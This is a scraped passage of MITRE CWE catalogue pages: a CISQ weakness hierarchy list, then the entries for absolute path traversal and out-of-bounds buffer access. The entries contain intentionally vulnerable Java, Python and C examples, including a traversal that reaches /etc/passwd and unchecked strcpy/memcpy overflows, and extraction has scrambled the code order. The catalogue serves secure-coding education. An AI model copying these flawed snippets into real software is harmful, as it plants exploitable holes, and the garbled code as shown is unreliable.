(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer.
Memory Corruption
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write) >
120
(Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer.
Classic Buffer Overflow
Unbounded Transfer
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write) >
123
(Write-what-where Condition)
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
788
(Access of Memory Location After End of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
805
(Buffer Access with Incorrect Length Value)
The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
822
(Untrusted Pointer Dereference)
The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
823
(Use of Out-of-range Pointer Offset)
The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
Untrusted pointer offset
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
824
(Access of Uninitialized Pointer)
The product accesses or uses a pointer that has not been initialized.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
825
(Expired Pointer Dereference)
The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
Dangling pointer
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
129
(Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
out-of-bounds array index
index-out-of-range
array index underflow
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
134
(Use of Externally-Controlled Format String)
The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
252
(Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
Memory Leak
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
434
(Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
Unrestricted File Upload
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
477
(Use of Obsolete Function)
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
502
(Deserialization of Untrusted Data)
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
Marshaling, Unmarshaling
Pickling, Unpickling
PHP Object Injection
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
570
(Expression is Always False)
The product contains an expression that will always evaluate to false.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
571
(Expression is Always True)
The product contains an expression that will always evaluate to true.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
606
(Unchecked Input for Loop Condition)
The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
611
(Improper Restriction of XML External Entity Reference)
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
XXE
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
643
(Improper Neutralization of Data within XPath Expressions ('XPath Injection'))
The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
652
(Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'))
The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization)
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
1058
(Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)
The code contains a function or method that
operates in a multi-threaded environment but owns an unsafe non-final
static storable or member data element.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
1096
(Singleton Class Instance Creation without Proper Locking or Synchronization)
The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
366
(Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
543
(Use of Singleton Pattern Without Synchronization in a Multithreaded Context)
The product uses the singleton pattern when creating a resource within a multithreaded environment.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
567
(Unsynchronized Access to Shared Data in a Multithreaded Context)
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
667
(Improper Locking)
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
764
(Multiple Locks of a Critical Resource)
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
820
(Missing Synchronization)
The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
821
(Incorrect Synchronization)
The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
662
(Improper Synchronization) >
833
(Deadlock)
The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization)
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization) >
456
(Missing Initialization of a Variable)
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
665
(Improper Initialization) >
457
(Use of Uninitialized Variable)
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release)
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release) >
415
(Double Free)
The product calls free() twice on the same memory address.
Double-free
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
672
(Operation on a Resource after Expiration or Release) >
416
(Use After Free)
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Dangling pointer
UAF
Use-After-Free
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
194
(Unexpected Sign Extension)
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
195
(Signed to Unsigned Conversion Error)
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
196
(Unsigned to Signed Conversion Error)
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
681
(Incorrect Conversion between Numeric Types) >
197
(Numeric Truncation Error)
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation)
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation) >
131
(Incorrect Calculation of Buffer Size)
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
682
(Incorrect Calculation) >
369
(Divide By Zero)
The product divides a value by zero.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
732
(Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
778
(Insufficient Logging)
When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
783
(Operator Precedence Logic Error)
The product uses an expression in which operator precedence causes incorrect logic to be used.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
789
(Memory Allocation with Excessive Size Value)
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
Stack Exhaustion
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
79
(Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
XSS
HTML Injection
Reflected XSS / Non-Persistent XSS / Type 1 XSS
Stored XSS / Persistent XSS / Type 2 XSS
DOM-Based XSS / Type 0 XSS
CSS
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials)
The product contains hard-coded credentials, such as a password or cryptographic key.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials) >
259
(Use of Hard-coded Password)
The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
798
(Use of Hard-coded Credentials) >
321
(Use of Hard-coded Cryptographic Key)
The product uses a hard-coded, unchangeable cryptographic key.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
835
(Loop with Unreachable Exit Condition ('Infinite Loop'))
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency)
Weaknesses in this category are related to the CISQ Quality Measures for Efficiency. Presence of these weaknesses could reduce the efficiency of the software.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
Memory Leak
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1042
(Static Member Data Element outside of a Singleton Class Element)
The code contains a member element that is declared as static (but not final), in which
its parent class element
is not a singleton class - that is, a class element that can be used only once in
the 'to' association of a Create action.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1043
(Data Element Aggregating an Excessively Large Number of Non-Primitive Elements)
The product uses a data element that has an excessively large
number of sub-elements with non-primitive data types such as structures or aggregated objects.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1046
(Creation of Immutable Text Using String Concatenation)
The product creates an immutable text string using string concatenation operations.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1049
(Excessive Data Query Operations in a Large Data Table)
The product performs a data query with a large number of joins
and sub-queries on a large data table.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1050
(Excessive Platform Resource Consumption within a Loop)
The product has a loop body or loop condition that contains a control element that directly or
indirectly consumes platform resources, e.g. messaging, sessions, locks, or file
descriptors.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1057
(Data Access Operations Outside of Expected Data Manager Component)
The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1060
(Excessive Number of Inefficient Server-Side Data Accesses)
The product performs too many data queries without using efficient data processing functionality such as stored procedures.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1067
(Excessive Execution of Sequential Searches of Data Resource)
The product contains a data query against an SQL table or view
that is configured in a way that does not utilize an index and may cause
sequential searches to be performed.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1072
(Data Resource Access without Use of Connection Pooling)
The product accesses a data resource through a database without using a
connection pooling capability.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1073
(Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses)
The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1089
(Large Data Table with Excessive Number of Indices)
The product uses a large data table that contains an excessively large number of
indices.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1091
(Use of Object without Invoking Destructor Method)
The product contains a method that accesses an object but does not later invoke
the element's associated finalize/destructor method.
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1094
(Excessive Index Range Scan for a Data Resource)
The product contains an index range scan for a large data table,
but the scan can cover a large number of rows.
View ComponentsA | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
CWE-36: Absolute Path Traversal
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the example below, the path to a dictionary file is read from a system property and used to initialize a File object. (bad code)
Example Language: Java
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename); However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory. Example 2 This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user. (bad code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.join(os.getcwd(), filename) try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file. (good code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-788: Access of Memory Location After End of Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 This example applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){ /* encode to < */ else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 4 In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing. (bad code)
Example Language: C
int processMessageFromSocket(int socket) {
int success;
char buffer[BUFFER_SIZE]; char message[MESSAGE_SIZE]; // get message from socket and store into buffer //Ignoring possibliity that buffer > BUFFER_SIZE if (getMessage(socket, buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg = recastBuffer(buffer); // copy message body into string for processing int index; for (index = 0; index < msg->msgLength; index++) { message[index] = msg->msgBody[index]; }message[index] = '\0'; // process message success = processMessage(message); return success; However, the message length variable (msgLength) from the structure is used as the condition for ending the for loop without validating that msgLength accurately reflects the actual length of the message body (CWE-606). If msgLength indicates a length that is longer than the size of a message body (CWE-130), then this can result in a buffer over-read by reading past the end of the buffer (CWE-126). Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-786: Access of Memory Location Before Start of Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character. (bad code)
Example Language: C
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
